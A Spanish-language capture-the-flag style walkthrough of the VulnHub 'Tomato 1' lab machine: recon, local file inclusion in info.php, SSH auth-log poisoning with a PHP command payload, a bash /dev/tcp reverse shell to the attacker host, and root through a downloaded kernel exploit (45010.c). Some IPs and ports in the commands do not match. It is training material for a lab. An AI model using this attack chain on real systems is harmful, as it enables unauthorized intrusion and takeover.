Tomato 1 - VulnHub
Medium difficulty machine in which an LFI is exploited, gaining access to the SSH log and using a not so common privilege escalation method.
Summary
- IP: 192.168.1.40
- Ports: 21,80,2211,8888
- OS: Linux (Ubuntu Xenial)
- Services & Applications:
- 21 -> vsftpd 3.0.3
- 80 -> Apache httpd 2.4.18
- 2211 -> OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
- 8888 -> nginx 1.10.3
Recon
- Escaneo básico de puertos:
$nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 192.168.1.36 -oG allPorts
- Escaneo profundo de puertos encontrados:
$nmap -p21,22,80 -sCV 192.168.1.36 -oN targeted
Análisis de página web (puerto 80)
- En la web principal solo vemos la imagen de un tomate, hacemos escaneo de directorios con gobuster:
$gobuster dir -u 192.168.1.40 -w /home/dante/SecLists/Discovery/Web-Content/common.txt -t 100
- Encontramos el directorio “/antibot_image” accedemos a él.
LFI y SSH log poisoning:
-
Dentro encontramos una carpeta “/antibots” la abrimos y vemos varios archivos y directorios, el recurso “info.php” resulta sospechoso así que lo abrimos.
-
Si revisamos el código fuente de este recurso nos encontramos con la siguiente linea:
<!-- </?php include $_GET['image']; -->
- Lo cual nos hace sospechar de la existencia del parámetro “image” que nos puede derivar a un LFI, así que probamos accediendo al típico archivo “/etc/passwd” del sistema:
view-source:http://192.168.1.40/antibot_image/antibots/info.php?image=/etc/passwd
- Y al final de todo el contenido podemos ver la información del “/etc/passwd” confirmando así el LFI; enumeramos usuarios desde la terminal para mayor comodidad:
$curl -s "http://192.168.1.40/antibot_image/antibots/info.php?image=/etc/passwd" | grep "sh$"
root:x:0:0:root:/root:/bin/bash
tomato:x:1000:1000:Tomato,,,:/home/tomato:/bin/bash
- Buscamos archivos de logs para derivar el LFI a RCE, primero, enumerando el log de SSH:
$curl -s "http://192.168.1.40/antibot_image/antibots/info.php?image=/var/log/auth.log" | awk '/<\/div><\/body><\/html>/,0'
-
Sí que existe el archivo y podemos visualizar su contenido, esto lo podemos aprovechar para realizar un SSH log poisoning, el cual nos permitirá la ejecución de comandos dentro del sistema de la máquina víctima (RCE).
-
Para realizar el log poisoning, primero intentamos acceder vía SSH a la máquina víctima, escribiendo en la parte de “usuario” código PHP malicioso el cual será interpretado por el navegador:
$ssh '<?php system($_GET["cmd"]); ?>'@192.168.1.40 -p 2211
- Con esto hecho, el archivo de log SSH ya debería estar envenenado, accedemos a este por el navegador y mediante el parámetro “cmd” que hemos creado, ejecutamos comandos:
view-source:http://192.168.1.40/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=ls -l /
- Confirmamos así el RCE y lo único que resta por hacer es entablar una reverse shell para ganar acceso al sistema:
view-source:http://192.168.1.40/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.63/443 0>%261"
ESCALANDO PRIVILEGIOS:
-
Hacemos una búsqueda típica de posibles vectores de escalada de privilegios pero no encontramos nada interesante.
-
Revisamos la versión del sistema:
$lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
$uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
- En nuestra máquina atacante buscamos vulnerabilidades para esta versión del sistema, haciendo hincapié en vulnerabilidades a nivel de Kernel y que nos permita la escalada de privilegios:
$searchsploit linux kernel local privilege escalation 16.04 4.4
- Encontramos un exploit escrito en c:
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
- Lo descargamos, lo compilamos, y lo transferimos a la máquina víctima:
$searchsploit -m linux/local/45010.c
$gcc 45010.c -o exploit
$python3 -m http.server 80
- En la máquina víctima:
$cd /tmp/
$wget 192.168.1.31:8000/exploit
$chmod +x exploit
$./exploit
- Y seremos root.